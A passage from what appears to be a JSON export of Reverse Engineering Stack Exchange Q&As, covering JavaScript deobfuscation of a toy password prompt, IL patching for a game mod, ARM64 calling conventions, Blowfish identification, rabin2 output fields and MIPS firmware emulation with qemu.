)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9+\u00f3)+'\\'')())()\n</code></pre>\n",
        "Title": "How can I deobfuscate this javascript code",
        "Tags": "|deobfuscation|javascript|",
        "Answer": "<p>The special \"accent\" letters are just a distraction. You can use a text-editor to replace them with \"standard\" letters and the code would still work.</p>\n\n<p>Let's add a newline after each semicolon:</p>\n\n\n\n<pre><code>\u00c9=-~-~[],\u00f3=-~\u00c9,\u00cb=\u00c9&lt;&lt;\u00c9,\u00fe=\u00cb+~[];\n\u00cc=(\u00f3-\u00f3)[\u00db=(''+{})[\u00c9+\u00f3]+(''+{})[\u00f3-\u00c9]+([].\u00f3+'')[\u00f3-\u00c9]+(!!''+'')[\u00f3]+({}+'')[\u00f3+\u00f3]+(!''+'')[\u00f3-\u00c9]+(!''+'')[\u00c9]+(''+{})[\u00c9+\u00f3]+({}+'')[\u00f3+\u00f3]+(''+{})[\u00f3-\u00c9]+(!''+'')[\u00f3-\u00c9]][\u00db];\n\u00cc(\u00cc((!''+'')[\u00f3-\u00c9]+(!''+'')[\u00f3]+(!''+'')[\u00f3-\u00f3]+(!''+'')[\u00c9]+((!''+''))[\u00f3-\u00c9]+([].$+'')[\u00f3-\u00c9]+'\\''+''+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3-\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9+\u00f3)+'\\'')())()\n</code></pre>\n\n<p>We can see that the first and second lines assign values to several variables (<code>\u00c9</code>, <code>\u00f3</code>, <code>\u00cb</code>, <code>\u00fe</code>, <code>\u00cc</code>). Then, the third line calls <code>\u00cc</code> (since it ends with '<code>()</code>').</p>\n\n<p>In order to de-obfuscate the code, you can paste it in the browser console and replace the last two characters ('<code>()</code>') with <code>.toString()</code> - printing the function instead of calling it.</p>\n\n<p>The result would be:</p>\n\n\n\n<pre><code>\"function anonymous(\n) {\na=prompt('Entrez le mot de passe');if(a=='toto123lol'){alert('bravo');}else{alert('fail...');}\n}\"\n</code></pre>\n"
    },
    {
        "Id": "22681",
        "CreationDate": "2019-12-07T01:52:19.650",
        "Body": "<p>Background info - For the game 7 Days To Die, there is a C# wrapper that implements the Harmony API, which allows us to intercept the game's function calls, as well as changing the IL instructions themselves.</p>\n\n<p>I originally used the Transpiler functionality to remove a condition that's used in two checks. Which was easy enough, as I just needed to remove three instructions. Here's a screenshot showing them: </p>\n\n<p><img src=\"https://i.stack.imgur.com/r5Wmj.png\" alt=\"\"></p>\n\n<p>On the left is the old code, which was easy enough to modify. I just needed to remove the instructions at indexes <strong>79</strong>, <strong>80</strong>, and <strong>81</strong>. Which changes the C# code from:</p>\n\n<pre><code>this.cmds[1].enabled = (_world.IsEditor() &amp;&amp; flag);\n</code></pre>\n\n<p>To:</p>\n\n<pre><code>this.cmds[1].enabled = (flag);\n</code></pre>\n\n<p>Which worked perfectly. However, the DLL was changed in an update. The C# code is the exact same, but the IL instructions differ at this very last condition check. And I can't quite wrap my head around it.</p>\n\n<p>The original was easy enough. <code>IL 79</code> prepares something for the next function call, <code>IL 80</code> makes the call, and <code>IL 81</code> jumps past the next couple of instructions if it returns false. In ASM, the three instructions would basically be <code>pop</code> (call class' function via a pointer), <code>cmp</code> (check the boolean result), and <code>jz</code> (jump if false).</p>\n\n<p>But the updated IL instructions on the right don't make any sense to me. There's no branch, there's no jump. How do I work with that to remove the <code>_world.IsEditor()</code> condition?</p>\n\n<p>Edit: <a href=\"https://pastebin.com/XEncgdet\" rel=\"nofollow noreferrer\">Pastebin of the C# function</a></p>\n",
        "Title": "C# - Identical block of code, but IL instructions changed after update. How do I modify the more convoluted update?",
        "Tags": "|c#|",
        "Answer": "<p>It looks like that previous code had an optimization done, so that if the left-hand side value was evaluated as <code>false</code> the right one was not evaluated at all in the <code>&amp;&amp;</code> operation as it would never result in <code>true</code> anyway and <code>false</code> can be used directly.</p>\n\n<p>Currently there's no such code but you can clearly see the <code>and</code> being done, preceded by <code>ldloc.0</code>. There's a missing code from the beginning of this function but if local variable at index 0 is your <code>flag</code> you can remove those two instructions (so lines 81 and 82). From the code it looks like on the stack there should already by also a <code>1</code> so that the instruction that stores the value with <code>stfld</code> will work. If not you could add a <code>ldc.i4.1</code> instead of those two that you removed.</p>\n"
    },
    {
        "Id": "22701",
        "CreationDate": "2019-12-09T13:29:12.580",
        "Body": "<p>I have <code>usercall</code> with calling convention I do not fully understand, it returns <code>std::string</code> but IDA recognize it as <code>void</code>.</p>\n\n<p>I've noticed that every calle reads from <code>x8/w8</code> afterwards, from <a href=\"https://en.wikipedia.org/wiki/Calling_convention#ARM_(A64)\" rel=\"nofollow noreferrer\">wikipedia</a>;</p>\n\n<blockquote>\n  <p>x8: used to hold indirect return value address</p>\n</blockquote>\n\n<p>Can someone explain \"<em>indirect return value address</em>\" ? </p>\n\n<p>From\n<a href=\"https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019</a></p>\n\n<blockquote>\n  <p>Return values </p>\n  \n  <p>Integral values are returned in x0.</p>\n  \n  <p>Floating-point values are returned in s0, d0, or v0, as appropriate.</p>\n  \n  <p>HFA and HVA values are returned in s0-s3, d0-d3, or v0-v3, as\n  appropriate.</p>\n  \n  <p>Types returned by value are handled differently depending on whether\n  they have certain properties. Types which have all of these\n  properties,</p>\n  \n  <p>they're aggregate by the C++14 standard definition, that is, they have\n  no user-provided constructors, no private or protected non-static data\n  members, no base classes, and no virtual functions, and they have a\n  trivial copy-assignment operator, and they have a trivial destructor,\n  use the following return style:</p>\n  \n  <p>Types less than or equal to 8 bytes are returned in x0. Types less\n  than or equal to 16 bytes are returned in x0 and x1, with x0\n  containing the lower-order 8 bytes. </p>\n  \n  <p><strong>For types greater than 16 bytes,\n  the caller shall reserve a block of memory of sufficient size and\n  alignment to hold the result. The address of the memory block shall be\n  passed as an additional argument to the function in x8. The callee may\n  modify the result memory block at any point during the execution of\n  the subroutine. The callee isn't required to preserve the value stored\n  in x8.</strong> </p>\n  \n  <p>All other types use this convention:</p>\n  \n  <p>The caller shall reserve a block of memory of sufficient size and\n  alignment to hold the result. The address of the memory block shall be\n  passed as an additional argument to the function in x0, or x1 if $this\n  is passed in x0. The callee may modify the result memory block at any\n  point during the execution of the subroutine. The callee returns the\n  address of the memory block in x0.</p>\n</blockquote>\n\n<p>Update 2:</p>\n\n<p>From <a href=\"https://static.docs.arm.com/den0024/a/DEN0024A_v8_architecture_PG.pd\" rel=\"nofollow noreferrer\">ARM docs</a></p>\n\n<blockquote>\n  <p>Registers with a special purpose  </p>\n  \n  <p>\u2022 X8 is the indirect result\n  register. This is used to pass the address location of an indirect\n  result, for example, where a function returns a large structure.\n  ...</p>\n  \n  <p>... the structure contains more than 16 bytes. According to the AAPCS for\n  AArch64, the returned object is written to the memory pointed to by XR.</p>\n</blockquote>\n",
        "Title": "indirect return value address",
        "Tags": "|ida|c++|calling-conventions|arm64|",
        "Answer": "<p>From <a href=\"https://github.com/Siguza/ios-resources/blob/master/bits/arm64.md\" rel=\"nofollow noreferrer\">https://github.com/Siguza/ios-resources/blob/master/bits/arm64.md</a></p>\n\n<blockquote>\n  <p>x8 pointer to where to write the return value if >128 bits, otherwise scratch register</p>\n</blockquote>\n\n<p>So it seems x8 is used to pass an address at which the return value will land if it's too big, rather than the return value directly, hence indirect I suppose.</p>\n\n<p>I couldn't find official documentation as the ARM page was barely loading for me.</p>\n"
    },
    {
        "Id": "22709",
        "CreationDate": "2019-12-10T06:17:06.023",
        "Body": "<p>i have a vtech baby monitor and since i want to be aware of it while i'm playing in VR (PC, HTC vaive/Valve index) i still want to see if the baby starts crying.</p>\n\n<p>on this monitor there is external access to a 6 pin connector. opening the unit i see the pins are labeled:\nSF_CSB,\nSF_MISO,\nVDD3,\nTX,\nRX,\nGND.</p>\n\n<p>The VDD,TX,RX,GND i think its a UART port, i need help identifying the other 2 pins. i found them on some LG TV's manuals but without explanation.</p>\n\n<p>anybody is familiure with this port?</p>\n",
        "Title": "id the HW port and protocol",
        "Tags": "|hardware|serial-communication|",
        "Answer": "<p>It seems CSB is <a href=\"https://electronics.stackexchange.com/questions/453360/why-ss-and-miso-of-sensor-is-permanently-high\">Chip select</a>, and MISO (Master in/Slave out) is a typical name for an SPI pin. </p>\n"
    },
    {
        "Id": "22713",
        "CreationDate": "2019-12-10T15:53:13.783",
        "Body": "<p>I'm reversing a binary that was apart of a CTF I was involved in about a month ago. It was too large of a binary to do during the challenge so I am doing it now.</p>\n\n<p>I am having trouble finding the <em>main function</em> because the entry function is not the same as if this was written in C and compiled with GCC. I was wondering how I could go about finding the main function and if there were any resources that could assist me in my endeavors. </p>\n",
        "Title": "Finding \"func main\" in a stripped binary written in GO",
        "Tags": "|binary-analysis|binary|ghidra|x86-64|",
        "Answer": "<p>You can find some plugins that does the functions renaming for go language (and others as well). For example <a href=\"https://github.com/ghidraninja/ghidra_scripts\" rel=\"nofollow noreferrer\">this one</a> could be used and after renaming bunch of methods can be seen:\n<a href=\"https://i.stack.imgur.com/Q9pF0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q9pF0.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "22719",
        "CreationDate": "2019-12-11T14:20:43.027",
        "Body": "<p>I am on the last version of IDA.</p>\n\n<p>There is a function B, that its signature is <code>B(int a,int b)</code>.</p>\n\n<p>There is a function A that calls it. \nBut in function A, the call appears like <code>B(12)</code> for example.</p>\n\n<p>How do I make it synchronized / decompile just function A again? </p>\n\n<p>Thanks.</p>\n",
        "Title": "IDA decompiled function signature mismatch",
        "Tags": "|ida|",
        "Answer": "<p>You can go to function A and press <code>y</code> on the call to B, and edit to <code>int B(int a, int b)</code></p>\n"
    },
    {
        "Id": "22736",
        "CreationDate": "2019-12-14T09:18:54.720",
        "Body": "<p>I've used x64dbg to work out decryption in a particular program. I've found where it changes the encrypted material into readable text but can't work out the best way to use this information to convert multiple files. </p>\n\n<p>Is it a standardized encryption method? (eg. blowfish/aes) \n<a href=\"https://i.stack.imgur.com/1NHhk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1NHhk.png\" alt=\"Assembler\"></a></p>\n\n<p>It basically copies the file to memory then cycles through this (and one other cycle above it).</p>\n\n<p>Thanks!</p>\n\n<p>Addit 15/12/2019:\n<strong>OUTER FUNCTION</strong>\n<a href=\"https://i.stack.imgur.com/DA8WH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DA8WH.png\" alt=\"enter image description here\"></a></p>\n\n<p>Ouput of signsrch:</p>\n\n<pre><code>  offset   num  description [bits.endian.size]\n  --------------------------------------------\n  0002b542 2249 TEA1_DS [32.le.4]\n  00059090 2065 Haval init [32.le.32&amp;]\n  00059090 919  Blowfish bfp table [32.le.72]\n  000590b0 1054 Haval hash pass2 [32.le.128&amp;]\n  000590e0 921  Blowfish ks0 table [32.le.1024]\n  000590e0 2335 Blowfish_s_init [32.le.4096]\n  00059138 2067 Haval mc3 [32.le.128]\n  00059198 2219 HAVAL2_DS [32.le.32]\n  000591b8 2069 Haval mc4 [32.le.128]\n  00059218 2217 HAVAL1_DS [32.le.32]\n  00059238 2071 Haval mc5 [32.le.128]\n  000594e0 923  Blowfish ks1 table [32.le.1024]\n  000598e0 925  Blowfish ks2 table [32.le.1024]\n  00059ce0 927  Blowfish ks3 table [32.le.1024]\n  007b1a86 2545 anti-debug: IsDebuggerPresent [..17]\n  007b7e07 1038 padding used in hashing algorithms (0x80 0 ... 0) [..64]\n</code></pre>\n\n<p>It must be blowfish. Now to find the key!!!</p>\n",
        "Title": "Help with reversing decryption in assembly",
        "Tags": "|decryption|",
        "Answer": "<p>This is probably Blowfish.</p>\n\n<p>Googling the constants \"0x448 0xC48 crypto\" lead to this post:</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/19042/trying-to-identify-block-of-code-which-generates-256-bit-key\">Trying to identify block of code which generates 256 bit key</a></p>\n\n<p>where someone in the comments wrote</p>\n\n<pre><code>googling the constants 0xc48, 0x848 and 0x448 is a good idea.\nrohitab.com/discuss/topic/36066-blowfish relates this to blowfish somehow\n</code></pre>\n\n<p>and that link has code that looks very similar:</p>\n\n<p><a href=\"http://www.rohitab.com/discuss/topic/36066-blowfish/\" rel=\"nofollow noreferrer\">http://www.rohitab.com/discuss/topic/36066-blowfish/</a></p>\n\n<p>(search for <code>C48</code> there).</p>\n\n<p>The only oddity is that the author of that other post says he is sure it is AES and he said he could decrypt some data using AES. I don't know how to consolidate both ideas, but it's probably either and given the similar disassemblies I'd say Blowfish.</p>\n\n<p>Doesn't look like AES to me either but I had some AES-related crypto before that looked a bit like this - Blowfish is way more convincing.</p>\n"
    },
    {
        "Id": "22745",
        "CreationDate": "2019-12-15T09:32:42.670",
        "Body": "<p>I am wondering what the <strong>crypto</strong>, <strong>linenum</strong>, <strong>pcalign</strong>, <strong>relocs</strong> and <strong>va</strong> values mean in the output of rabin2.</p>\n\n<p>I took a look in the source code of radare2 and it seems for ELF <strong>va</strong> is always true, I assume it means virtual addressing?</p>\n\n<p><a href=\"https://github.com/radareorg/radare2/blob/1d3698bc96a09e45c4fff4c090278623f146929c/libr/bin/format/elf/elf.c#L2132-L2134\" rel=\"nofollow noreferrer\">https://github.com/radareorg/radare2/blob/1d3698bc96a09e45c4fff4c090278623f146929c/libr/bin/format/elf/elf.c#L2132-L2134</a></p>\n\n\n\n<pre><code>int Elf_(r_bin_elf_has_va)(ELFOBJ *bin) {\n    return true;\n}\n</code></pre>\n\n<p>I would assume <strong>relocs</strong> refer to the presence of the relocation table however from my testing that does not seem to be the case.</p>\n\n<p>For <strong>linenum</strong> I think it refers information relating to the line numbers in the source code? But this still seem to appear true when there is no DWARF information on the ELF binary.</p>\n\n<p>As for the other 2 I have no idea what they are referring to.</p>\n\n<pre><code>arch     x86\nbaddr    0x0\nbinsz    6618\nbintype  elf\nbits     64\ncanary   true\nsanitiz  false\nclass    ELF64\ncrypto   false\nendian   little\nhavecode true\nintrp    /lib64/ld-linux-x86-64.so.2\nladdr    0x0\nlang     c\nlinenum  true\nlsyms    true\nmachine  AMD x86-64 architecture\nmaxopsz  16\nminopsz  1\nnx       true\nos       linux\npcalign  0\npic      true\nrelocs   true\nrelro    full\nrpath    NONE\nstatic   false\nstripped false\nsubsys   linux\nva       true\n</code></pre>\n",
        "Title": "Understanding output of rabin2",
        "Tags": "|radare2|",
        "Answer": "<p>The output of rabin2 is definitely a bit cryptic, here is some of the information I found for the components that you asked about.</p>\n<h3>crypto</h3>\n<p>Boolean flag that indicates if a binary is encrypted/packed</p>\n<h3>relocs</h3>\n<p>Indicates that the binary performs run time relocation</p>\n<h3>va</h3>\n<p>Indicates that virtual addressing is in use, it will be false if rabin2 is run with the <code>-p</code> flag</p>\n<h3>linenum</h3>\n<p>The linenum information that is present in the DWARF debug section of the ELF binary</p>\n<h3>pcalign</h3>\n<p>Related to data structure alignment, could refer to the <code>p_align</code> member in the ELF program header. <code>p_align</code> gives the value to which segments are aligned in memory and in the file. The values 0 and 1 mean no alignment is required</p>\n<p>Some links that could provide more context</p>\n<ul>\n<li><a href=\"https://dzhy.dev/2020/02/28/Understanding-rabin2-output/\" rel=\"nofollow noreferrer\">Rabin2 output</a></li>\n<li><a href=\"https://erani.kapsi.fi/posts/2018-03-11-reverse-engineering-basics-with-radare-binary-internals/\" rel=\"nofollow noreferrer\">Reversing basics with radare2</a></li>\n<li><a href=\"https://blog.tartanllama.xyz/writing-a-linux-debugger-elf-dwarf/\" rel=\"nofollow noreferrer\">Building a Linux Debugger</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_structure_alignment\" rel=\"nofollow noreferrer\">Data structure alignment</a></li>\n</ul>\n"
    },
    {
        "Id": "22765",
        "CreationDate": "2019-12-17T06:38:50.020",
        "Body": "<p>I'm trying to emulate a MIPS binary on my Ubuntu 16.04 x86 system, but I'm not able to. I <code>chroot</code> into the <code>squashfs-root</code> filesystem that I got from <code>binwalk</code>ing the firmware image.</p>\n\n<pre><code>kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ ls -l\ntotal 3092\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 bin\ndrwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 dev\ndrwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 etc\ndrwxr-xr-x 3 kan3k1 kan3k1    4096 Mar 18  2018 lib\nlrwxrwxrwx 1 kan3k1 kan3k1      11 Mar 18  2018 linuxrc -&gt; bin/busybox\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 mnt\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 proc\n-rwxr-xr-x 1 kan3k1 kan3k1 3120160 Dec 17 01:07 qemu-mips-static\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sbin\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sys\ndrwxr-xr-x 4 kan3k1 kan3k1    4096 Mar 18  2018 usr\ndrwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 var\ndrwxr-xr-x 9 kan3k1 kan3k1    4096 Mar 18  2018 web\n\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/ls\n./bin/ls: Invalid ELF image for this architecture\n\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/busybox \n./bin/busybox: Invalid ELF image for this architecture\n\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/ls\nbin/ls: symbolic link to busybox\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/busybox \nbin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\n\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/ls\narch     mips\nbaddr    0x400000\nbinsz    260852\nbintype  elf\nbits     32\ncanary   false\nclass    ELF32\ncrypto   false\nendian   little\nhavecode true\nintrp    /lib/ld-uClibc.so.0\nladdr    0x0\nlang     c\nlinenum  false\nlsyms    false\nmachine  MIPS R3000\nmaxopsz  16\nminopsz  1\nnx       false\nos       linux\npcalign  0\npic      false\nrelocs   false\nrelro    no\nrpath    NONE\nsanitiz  false\nstatic   false\nstripped true\nsubsys   linux\nva       true\n\nkan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/busybox \narch     mips\nbaddr    0x400000\nbinsz    260852\nbintype  elf\nbits     32\ncanary   false\nclass    ELF32\ncrypto   false\nendian   little\nhavecode true\nintrp    /lib/ld-uClibc.so.0\nladdr    0x0\nlang     c\nlinenum  false\nlsyms    false\nmachine  MIPS R3000\nmaxopsz  16\nminopsz  1\nnx       false\nos       linux\npcalign  0\npic      false\nrelocs   false\nrelro    no\nrpath    NONE\nsanitiz 